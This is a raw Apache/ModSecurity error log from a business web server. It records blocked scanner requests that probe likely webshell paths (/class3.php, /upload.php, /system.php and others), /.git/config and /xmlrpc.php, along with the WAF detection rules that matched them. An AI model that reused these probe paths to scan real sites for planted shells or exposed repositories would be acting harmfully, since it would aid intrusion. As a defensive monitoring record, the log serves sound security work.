[Wed Jan 07 00:54:00.703687 2026] [:error] [pid 44904:tid 44947] [client 4.194.99.99:17141] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aV0-KDtieuI1BJEZcvd4fgAAAEY"]
[Wed Jan 07 00:54:01.606724 2026] [:error] [pid 44904:tid 44964] [client 4.194.99.99:17228] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aV0-KTtieuI1BJEZcvd4hAAAAFc"]
[Wed Jan 07 00:54:02.423968 2026] [:error] [pid 45959:tid 45969] [client 4.194.99.99:17043] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aV0-Klajdn8P3hjgMYxFmQAAAUc"]
[Wed Jan 07 00:54:03.030333 2026] [:error] [pid 45012:tid 45028] [client 4.194.99.99:17395] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aV0-KxaMAxCuju1d0uZRhwAAAM4"]
[Wed Jan 07 00:54:03.432763 2026] [:error] [pid 45012:tid 45026] [client 4.194.99.99:17095] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aV0-KxaMAxCuju1d0uZRiQAAAMw"]
[Wed Jan 07 02:44:14.384289 2026] [:error] [pid 45959:tid 45977] [client 101.33.55.204:52500] [client 101.33.55.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV1X_lajdn8P3hjgMYx6JwAAAU8"]
[Wed Jan 07 08:41:21.144659 2026] [:error] [pid 30632:tid 30645] [client 43.159.138.217:37944] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV2rsed3_LCpBJzo02dx3QAAAAk"]
[Wed Jan 07 09:55:33.695844 2026] [:error] [pid 58330:tid 58333] [client 43.157.50.58:52292] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV29FQ8kGngKGK7_wndQ_QAAAQE"]
[Wed Jan 07 09:59:20.414365 2026] [:error] [pid 30633:tid 30677] [client 195.178.110.161:38310] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aV29-PZiVWlF7303nMgqAAAAAE4"]
[Wed Jan 07 11:48:17.105499 2026] [:error] [pid 30634:tid 30704] [client 3.36.128.239:57572] [client 3.36.128.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_next/data"] [unique_id "aV3XgYCIPBibObtmZtuClwAAAM4"]
[Wed Jan 07 11:48:17.706622 2026] [:error] [pid 30634:tid 30710] [client 3.36.128.239:57618] [client 3.36.128.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV3XgYCIPBibObtmZtuCmgAAANQ"]
[Wed Jan 07 12:43:41.509713 2026] [:error] [pid 58294:tid 58319] [client 195.178.110.161:36804] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aV3kfVfzA7c0ITpf3nHIDQAAAJc"]
[Wed Jan 07 15:05:49.465476 2026] [:error] [pid 58330:tid 58332] [client 43.153.113.127:39438] [client 43.153.113.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV4FzQ8kGngKGK7_wne3zAAAAQA"]
[Wed Jan 07 16:21:11.301224 2026] [:error] [pid 30634:tid 30706] [client 43.135.185.59:37482] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV4Xd4CIPBibObtmZtvWSwAAANA"]
[Wed Jan 07 18:45:45.113361 2026] [:error] [pid 30633:tid 30685] [client 103.180.179.86:50093] [client 103.180.179.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.180.179.86, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aV45WfZiVWlF7303nMiXDgAAAFY"]
[Wed Jan 07 19:24:24.509489 2026] [autoindex:error] [pid 58330:tid 58349] [client 167.71.90.72:51894] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 07 20:08:15.311449 2026] [:error] [pid 30632:tid 30648] [client 165.154.254.143:37622] [client 165.154.254.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV5Mr-d3_LCpBJzo02cB2AAAAAw"], referer: https://www.google.com
[Wed Jan 07 21:14:40.813609 2026] [:error] [pid 30633:tid 30672] [client 43.166.247.82:44794] [client 43.166.247.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV5cQPZiVWlF7303nMi2wwAAAEk"]
[Wed Jan 07 22:26:13.101079 2026] [:error] [pid 58330:tid 58336] [client 43.130.154.56:52710] [client 43.130.154.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV5tBQ8kGngKGK7_wncRPAAAAQQ"]
[Thu Jan 08 01:07:23.020343 2026] [:error] [pid 50838:tid 50853] [client 4.189.122.79:23088] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV6Sy7SweZ27JIN4H8vtmgAAAc0"]
[Thu Jan 08 01:07:23.259016 2026] [:error] [pid 58294:tid 58301] [client 4.189.122.79:3085] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV6Sy1fzA7c0ITpf3nFbEQAAAIU"]
[Thu Jan 08 01:07:23.486039 2026] [:error] [pid 58294:tid 58300] [client 4.189.122.79:3094] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV6Sy1fzA7c0ITpf3nFbEgAAAIQ"]
[Thu Jan 08 01:07:23.712244 2026] [:error] [pid 30633:tid 30682] [client 4.189.122.79:23048] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aV6Sy_ZiVWlF7303nMjYpAAAAFM"]
[Thu Jan 08 01:07:23.939351 2026] [:error] [pid 30632:tid 30654] [client 4.189.122.79:3081] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aV6Sy-d3_LCpBJzo02c56wAAABI"]
[Thu Jan 08 01:07:24.188521 2026] [:error] [pid 30633:tid 30674] [client 4.189.122.79:23085] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aV6SzPZiVWlF7303nMjYpQAAAEs"]
[Thu Jan 08 01:07:24.420602 2026] [:error] [pid 50870:tid 50888] [client 4.189.122.79:3093] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aV6SzBlePfspAt1BzouXfQAAAhA"]
[Thu Jan 08 01:07:24.649761 2026] [:error] [pid 50870:tid 50893] [client 4.189.122.79:23092] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aV6SzBlePfspAt1BzouXfgAAAhU"]
[Thu Jan 08 01:07:24.880129 2026] [:error] [pid 30634:tid 30711] [client 4.189.122.79:23090] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6SzICIPBibObtmZtsv7gAAANU"]
[Thu Jan 08 01:07:25.116309 2026] [:error] [pid 58330:tid 58350] [client 4.189.122.79:3122] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6SzQ8kGngKGK7_wncxlwAAARI"]
[Thu Jan 08 01:07:25.343723 2026] [:error] [pid 30633:tid 30669] [client 4.189.122.79:23087] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6SzfZiVWlF7303nMjYqAAAAEY"]
[Thu Jan 08 01:07:25.578332 2026] [:error] [pid 50870:tid 50884] [client 4.189.122.79:23050] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV6SzRlePfspAt1BzouXgAAAAgw"]
[Thu Jan 08 01:07:25.806593 2026] [:error] [pid 58330:tid 58344] [client 4.189.122.79:3076] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upload.php"] [unique_id "aV6SzQ8kGngKGK7_wncxmAAAAQw"]
[Thu Jan 08 01:07:26.050573 2026] [:error] [pid 50870:tid 50880] [client 4.189.122.79:23047] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upload.php"] [unique_id "aV6SzhlePfspAt1BzouXgQAAAgg"]
[Thu Jan 08 01:07:26.282681 2026] [:error] [pid 58294:tid 58311] [client 4.189.122.79:3078] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upload.php"] [unique_id "aV6SzlfzA7c0ITpf3nFbFAAAAI8"]
[Thu Jan 08 01:07:26.510455 2026] [:error] [pid 30634:tid 30699] [client 4.189.122.79:23067] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upload.php"] [unique_id "aV6SzoCIPBibObtmZtsv7wAAAMk"]
[Thu Jan 08 01:07:26.763380 2026] [:error] [pid 30634:tid 30708] [client 4.189.122.79:23100] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aV6SzoCIPBibObtmZtsv8AAAANI"]
[Thu Jan 08 01:07:26.998644 2026] [:error] [pid 30634:tid 30706] [client 4.189.122.79:23079] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aV6SzoCIPBibObtmZtsv8gAAANA"]
[Thu Jan 08 01:07:27.234186 2026] [:error] [pid 50870:tid 50877] [client 4.189.122.79:23072] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aV6SzxlePfspAt1BzouXgwAAAgU"]
[Thu Jan 08 01:07:27.463467 2026] [:error] [pid 50870:tid 50892] [client 4.189.122.79:23053] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aV6SzxlePfspAt1BzouXhAAAAhQ"]
[Thu Jan 08 01:07:27.701985 2026] [:error] [pid 30634:tid 30714] [client 4.189.122.79:3100] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aV6Sz4CIPBibObtmZtsv9QAAANg"]
[Thu Jan 08 01:07:27.929168 2026] [:error] [pid 50905:tid 50931] [client 4.189.122.79:3096] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aV6Sz2pNgk5-gt30I7bF2AAAAlg"]
[Thu Jan 08 01:07:28.166683 2026] [:error] [pid 50905:tid 50927] [client 4.189.122.79:3422] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aV6S0GpNgk5-gt30I7bF2QAAAlQ"]
[Thu Jan 08 01:07:28.393275 2026] [:error] [pid 50838:tid 50843] [client 4.189.122.79:3402] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aV6S0LSweZ27JIN4H8vtmwAAAcM"]
[Thu Jan 08 01:07:28.621294 2026] [:error] [pid 30633:tid 30670] [client 4.189.122.79:23074] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV6S0PZiVWlF7303nMjYrQAAAEc"]
[Thu Jan 08 01:07:28.875450 2026] [:error] [pid 58330:tid 58352] [client 4.189.122.79:23065] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV6S0A8kGngKGK7_wncxmgAAARQ"]
[Thu Jan 08 01:07:29.101490 2026] [:error] [pid 50936:tid 50943] [client 4.189.122.79:23093] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV6S0bDlg80QUdd5qc40JQAAAoU"]
[Thu Jan 08 01:07:29.334082 2026] [:error] [pid 50870:tid 50895] [client 4.189.122.79:23062] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aV6S0RlePfspAt1BzouXhQAAAhc"]
[Thu Jan 08 01:07:29.572789 2026] [:error] [pid 50870:tid 50876] [client 4.189.122.79:3101] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aV6S0RlePfspAt1BzouXhgAAAgQ"]
[Thu Jan 08 01:07:29.817342 2026] [:error] [pid 58330:tid 58346] [client 4.189.122.79:3097] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aV6S0Q8kGngKGK7_wncxmwAAAQ4"]
[Thu Jan 08 01:07:30.070077 2026] [:error] [pid 50936:tid 50946] [client 4.189.122.79:23056] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aV6S0rDlg80QUdd5qc40JwAAAog"]
[Thu Jan 08 01:07:30.296057 2026] [:error] [pid 30634:tid 30692] [client 4.189.122.79:3082] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aV6S0oCIPBibObtmZtsv-QAAAMI"]
[Thu Jan 08 01:07:30.522839 2026] [:error] [pid 58330:tid 58349] [client 4.189.122.79:3108] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aV6S0g8kGngKGK7_wncxngAAARE"]
[Thu Jan 08 01:07:30.750834 2026] [:error] [pid 58330:tid 58353] [client 4.189.122.79:3091] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aV6S0g8kGngKGK7_wncxnwAAARU"]
